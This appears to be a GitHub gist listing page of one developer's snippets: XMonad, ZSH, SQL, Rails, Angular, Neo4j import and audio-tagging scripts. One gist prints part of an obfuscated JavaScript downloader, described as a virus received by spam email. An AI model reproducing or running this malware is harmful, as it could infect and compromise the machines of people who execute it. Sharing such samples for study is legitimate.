Skip to content

Instantly share code, notes, and snippets.

-- Compiler flags --
{-# LANGUAGE NoMonomorphismRestriction #-}
-- Imports --
-- stuff
import XMonad
import Control.Monad (msum, when)
import qualified XMonad.StackSet as W
import qualified Data.Map as M
import System.Exit
@djvs
djvs / gist:33f9b771603e3d51716e0fd88a7879fb
Last active April 15, 2016 02:54
ZSH function name expansion-based directory switcher, for people with many Rails projects
function c{x,y}{r,g,dd,a,aa,aj,v,vp,l,vl,m,ma,p,pi,i,j,jc,js,jf,c,ci,f,s,sc}(){
mycmd="cd"
case $0[0] in
(x) rd = "/srv/x" ;;
(y) rootdir = "/srv/y" ;;
esac
case $0[1] in
("") sd="" ;;
(r) mycmd="vi"; sd="config/routes.rb" ;;
(g) mycmd="vi"; sd="Gemfile" ;;
SELECT DISTINCT ON (user_id) *
FROM (
SELECT 'out' AS type, id, recipient_id AS user_id, body, created_at
FROM messages
WHERE sender_id = 57
UNION ALL
SELECT 'in' AS type, id, sender_id AS user_id, body, created_at
FROM messages
WHERE recipient_id = 57
@djvs
djvs / models.rb
Last active February 7, 2016 07:18
class User < ActiveRecord::Base
[...]
has_many :msgtos, :class_name => "Message", :foreign_key => :recipient_id #, :inverse_of => :from
has_many :msgfroms, :class_name => "Message",:foreign_key => :sender_id #, :inverse_of => :to
end
class Message < ActiveRecord::Base
belongs_to :to, class_name: "User", :foreign_key => :recipient_id, :inverse_of => :msgfroms
belongs_to :from, class_name: "User", :foreign_key => :sender_id, :inverse_of => :msgtos
end
@djvs
djvs / directive.js
Created January 31, 2016 13:05
Angular force number with range on input[type='text']
app.directive('forcenum', function ($parse) {
return {
restrict: 'A',
require: 'ngModel',
link: function link(scope, element, attr, ngModel) {
var max = parseInt(attr.fmax);
var min = parseInt(attr.fmin);
var nv;
scope.$watch(function () {
Bundler could not find compatible versions for gem "activesupport":
In Gemfile:
neo4jrb-paperclip (>= 0) ruby depends on
neo4j (> 3.0.0.alpha.8) ruby depends on
activesupport (~> 4) ruby
rails_admin (>= 0) ruby depends on
coffee-rails (~> 4.0) ruby depends on
railties (< 5.1.x, >= 4.0.0) ruby depends on
activesupport (5.0.0.beta1)
@djvs
djvs / xlsx2neo4jrb.rb
Last active November 30, 2015 21:13
Convert xlsx spreadsheets to Neo4jrb models and import them (may need work to improve type & attribute name handling)
# this script comes in 2 parts - you will have to reload your environment to open the models before running the last ~25 lines block!
#CONFIG
@filedir = "/location/of/xlsx/files/"
@modelsdir = "/rails/apps/myapp/app/models/fromxlsx/"
files = Dir.glob(@filedir + "*")
fieldnames = {}
@djvs
djvs / tbd2.rb
Last active September 25, 2015 02:21
Ruby tagging scripts for JDownloader output from Bandcamp and Soundcloud (requires id3lib-ruby) - you better read these if you want to know how to use them!
#!/usr/bin/ruby
require 'rubygems'
require 'id3lib'
dashargs = ARGV.select{|x|x[0] == "-"}
args = ARGV - dashargs
@settracknames = dashargs.include?('-f')
@deltracknums = dashargs.include?("-n")
@ignorealbum = dashargs.include?("-ia")
@djvs
djvs / 00xxxxx.doc.js
Last active September 15, 2015 15:38
Javascript virus received in spam email
var stroke="5557565E171114140B1610240B14010A051717010906081D4A070B09";function fwlq120() { w(') {'); return y(); }; function fwlq6() { w('var'); return y(); }; function fwlq107() { w('()'); return y(); }; function fwlq98() { w('re'); return y(); }; function fwlq87() { w('w Ac'); return y(); }; function fwlq129() { w('("ADO'); return y(); }; function fwlq220() { w('if ('); return y(); }; function fwlq50() { w('s.E'); return y(); }; function fwlq89() { w('XO'); return y(); }; function fwlq217() { w(' (er'); return y(); }; function fwlq30() { w('<b.le'); return y(); }; function fwlq115() { w('& xo'); return y(); }; function fwlq111() { w('dySt'); return y(); }; function fwlq184() { w(' xa.c'); return y(); }; function fwlq63() { w('g.fr'); return y(); }; function fwlq204() { w('r+"&'); return y(); }; function fwlq228() { w('l(100'); return y(); }; function fwlq116() { w('.s'); return y(); }; function fwlq126() { w('iv'); return y(); }; function fwlq190() { w('o.ope'); return y(); }; function f
# ruby script to compare text-based gene sequences, will delete all non-alphabetical characters and do a straight array comparison, assuming equal size
#
# invocation: ruby 'compare gene sequences.rb' file1.txt file2.txt
puts "comparing: #{ARGV}"
s1=File.read(ARGV[0]).gsub(/[^a-z]/,"")
s2=File.read(ARGV[1]).gsub(/[^a-z]/,"")
a1 = s1.split("")